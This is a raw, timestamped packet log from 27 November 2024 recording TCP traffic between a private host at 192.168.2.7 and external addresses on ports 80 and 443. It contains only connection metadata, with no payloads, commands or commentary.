Nov 27, 2024 16:34:49.398725033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.399046898 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.399727106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.399782896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.399786949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.399830103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.400585890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.400640965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.400682926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.400996923 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.401521921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.401726961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.401782036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.402312040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.402374029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.403229952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.403244019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.403327942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.403343916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.403552055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.404153109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.404231071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.404747963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.404925108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.405073881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.405086994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.405153036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.405944109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.405997992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.406090021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.406843901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.406856060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.406935930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.407788038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.407851934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.408687115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.408698082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.408756018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.408768892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.408768892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.408795118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.409776926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.409837961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.409854889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.410167933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.410438061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.410496950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.410753012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.410881042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.411317110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.411405087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.411478043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.411906958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.412229061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.412483931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.412527084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.412581921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.413181067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.413265944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.413392067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.414040089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.414232969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.414328098 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.452987909 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.453016996 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.453103065 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.453129053 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.453356981 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.476686954 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.476716042 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.476779938 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.476805925 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.476856947 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.476881027 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.496192932 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.496212006 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.496309042 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.496336937 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.496507883 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.514360905 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.514380932 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.514451981 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.514470100 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.514646053 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.523406029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.523530960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.523638010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.523804903 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.523844957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.523929119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.523962021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.524110079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.525017977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.525106907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.525140047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.525213003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.525841951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.525906086 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.526199102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.526264906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.526652098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.526726961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.526757002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.526938915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.527523041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.527573109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.527626991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.527671099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.528371096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.528439999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.528736115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.528800011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.529335022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.529561996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.529863119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.529903889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.530174017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.530385017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.530498028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.531219006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.531361103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.531433105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.532016993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.532079935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.532465935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.532921076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.532974005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.533034086 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.533838034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.533849955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.533997059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.533997059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.534720898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.534801006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.534965038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.535207033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.535717964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.535912037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.535927057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.536189079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.536598921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.536612034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.536689997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.537430048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.537573099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.538320065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.538434029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.539026976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.539227009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.539419889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.539545059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.540153980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.540292025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.540338993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.540405989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.541016102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.541088104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.541150093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.541188955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.541971922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.542004108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.542098999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.542905092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.543020964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.543071985 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.543212891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.543756008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.543823957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.543889999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.544004917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.544656992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.544796944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.544804096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.544864893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.545686960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.545753002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.545831919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.545933962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.546650887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.546725988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.547050953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.547127962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.547446966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.547458887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.548190117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.548260927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.548343897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.548490047 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.593715906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.593761921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.593785048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.593967915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.594053030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.594104052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.594357014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.594423056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.595014095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.595120907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.595166922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.595166922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.596065998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.596143961 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.596205950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.596271038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.596308947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.596385002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.597188950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.597271919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.597376108 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.597435951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.597891092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.597903967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.597954988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.598644972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.598728895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.599066019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.599163055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.599456072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.599610090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.599692106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.600505114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.600558043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.600953102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.601011038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.601386070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.601398945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.601650000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.602303028 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.602389097 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.602466106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.602551937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.603192091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.603243113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.603276968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.603332996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.604053974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.604091883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.604166031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.604166031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.604903936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.605397940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.605539083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.605948925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.606024027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.606317043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.606662035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.606894970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.606944084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.607050896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.607114077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.607681990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.607733011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.607860088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.608175993 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.608556986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.608694077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.608700037 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.608747959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.609471083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.609541893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.609766960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.609822035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.610382080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.610635996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.610690117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.610820055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.611253023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.611377001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.611430883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.611505985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.612221003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.612288952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.612346888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.612485886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.641783953 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.641833067 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.642144918 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.647932053 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.647979975 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.648050070 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.648766041 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.648793936 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.648874998 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.649679899 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.649728060 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.649779081 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.650209904 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.650238037 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.650464058 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.650908947 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.650938034 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.651029110 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.651293993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.651391983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.651563883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.651896954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.651940107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.651940107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.652007103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.652185917 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.652199030 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.652232885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.652652979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.653057098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.653088093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.653222084 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.653467894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.654937983 CET	49850	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.654974937 CET	443	49850	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.655041933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.660418034 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.660470009 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.660578012 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.660593033 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.660618067 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.660871983 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.660923958 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.664587975 CET	49851	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.664609909 CET	443	49851	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.665024042 CET	49852	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.665054083 CET	443	49852	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.665817022 CET	49853	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.665837049 CET	443	49853	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.665899038 CET	49854	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:49.665921926 CET	443	49854	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:49.666589022 CET	49842	443	192.168.2.7	13.91.96.185
Nov 27, 2024 16:34:49.666615009 CET	443	49842	13.91.96.185	192.168.2.7
Nov 27, 2024 16:34:49.725018024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.725044966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.725162983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.725358963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.725435972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.725513935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.725732088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.726299047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.726358891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.726540089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.726589918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:49.727197886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:49.727330923 CET	80	49777	185.215.113.206	192.168.2.7
